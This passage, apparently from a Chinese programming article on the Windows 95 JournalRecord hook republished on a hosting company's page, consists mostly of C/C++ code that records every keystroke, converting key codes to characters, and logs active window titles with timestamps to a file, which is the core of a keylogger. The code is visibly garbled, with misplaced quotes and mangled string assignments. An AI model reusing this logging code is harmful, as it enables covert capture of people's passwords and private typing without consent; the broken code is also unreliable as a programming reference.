快速业务通道

WIN95日志钩子(JournalRecord Hook)的使用

作者 佚名技术 来源 程序设计 浏览 发布时间 2012-06-30
sMask)==KeyPressMask;  
    bool bCapital=(iCapital & 1)==1;
    bool bNumLock=(iNumLock & 1)==1;
    if (vKey >=48 && vKey<=57) // 数字0-9 if (!bShift) fprintf(stream,"%c",vKey); if (vKey>=65 && vKey<=90) // A-Z a-z {if (!bCapital) if (bShift) ch="vKey;" else ch="vKey+32;" else if (bShift) ch="vKey+32;" else ch="vKey;" fprintf(stream,"%c",ch); } if (vKey>=96 && vKey<=105) // 小键盘0-9 if (bNumLock) fprintf(stream,"%c",vKey-96+48); if (vKey>=186 && vKey<=222) // 其他键 {switch (vKey) {case 186:if (!bShift) ch=";" ; else ch=":" ;break; case 187:if (!bShift) ch="=" ; else ch="+" ;break; case 188:if (!bShift) ch="," ; else ch="<" ;break; case 189:if (!bShift) ch="-" ; else ch="_" ;break; case 190:if (!bShift) ch="." ; else ch=" >" ;break; case 191:if (!bShift) ch="/" ; else ch="?" ;break; case 192:if (!bShift) ch="`" ; else ch="~" ;break; case 219:if (!bShift) ch="[" ; else ch="{" ;break; case 220:if (!bShift) ch="\\" ; else ch="|" ;break; case 221:if (!bShift) ch="]" ; else ch="}" ;break; case 222:if (!bShift) ch="\" ''; else ch="\"" ;break; default:ch="n" ;break; } if (ch!="n" ) fprintf(stream,"%c",ch); } // if (wParam>=112 && wParam<=123) // 功能键 [F1]-[F12] if (vKey>=8 && vKey<=46) //方向键 {switch (vKey) {case 8:strcpy(str,"[BK]");break; case 9:strcpy(str,"[TAB]");break; case 13:strcpy(str,"[EN]");break; case 32:strcpy(str,"[SP]");break; case 33:strcpy(str,"[PU]");break; case 34:strcpy(str,"[PD]");break; case 35:strcpy(str,"[END]");break; case 36:strcpy(str,"[HOME]");break; case 37:strcpy(str,"[LF]");break; case 38:strcpy(str,"[UF]");break; case 39:strcpy(str,"[RF]");break; case 40:strcpy(str,"[DF]");break; case 45:strcpy(str,"[INS]");break; case 46:strcpy(str,"[DEL]");break; default:ch="n" ;break; } if (ch!="n" ) {if (g_PrvChar!="vKey)" {fprintf(stream,"%s",str); g_PrvChar="vKey;" } } } } if (pEvt->message==WM_LBUTTONDOWN || pEvt- >message
==WM_RBUTTONDOWN)
    {hFocus=GetActiveWindow();
     if (g_hLastFocus!=hFocus)
     {g_hLastFocus=hFocus;
      GetWindowText(hFocus,szTitle,256);    
    strcpy(szTime,DateTimeToStr(Now()).c_str()); 
//得到当前的日期时间
    fprintf(stream,"%c%s%c%c%s",
10,szTime,32,32,szTitle); //写入文件
    fprintf(stream,"%c%c",32,32); 
     }
    }
fclose(stream);
return (HOOKPROC)CallNextHookEx
(g_hLogHook,iCod

凌众科技专业提供服务器租用、服务器托管、企业邮局、虚拟主机等服务,公司网站:http://www.lingzhong.cn 为了给广大客户了解更多的技术信息,本技术文章收集来源于网络,凌众科技尊重文章作者的版权,如果有涉及你的版权有必要删除你的文章,请和我们联系。以上信息与文章正文是不可分割的一部分,如果您要转载本文章,请保留以上信息,谢谢!

分享到: 更多

Copyright ©1999-2011 厦门凌众科技有限公司 厦门优通互联科技开发有限公司 All rights reserved

地址(ADD):厦门软件园二期望海路63号701E(东南融通旁) 邮编(ZIP):361008

电话:0592-5908028 传真:0592-5908039 咨询信箱:web@lingzhong.cn 咨询OICQ:173723134

《中华人民共和国增值电信业务经营许可证》闽B2-20100024  ICP备案:闽ICP备05037997号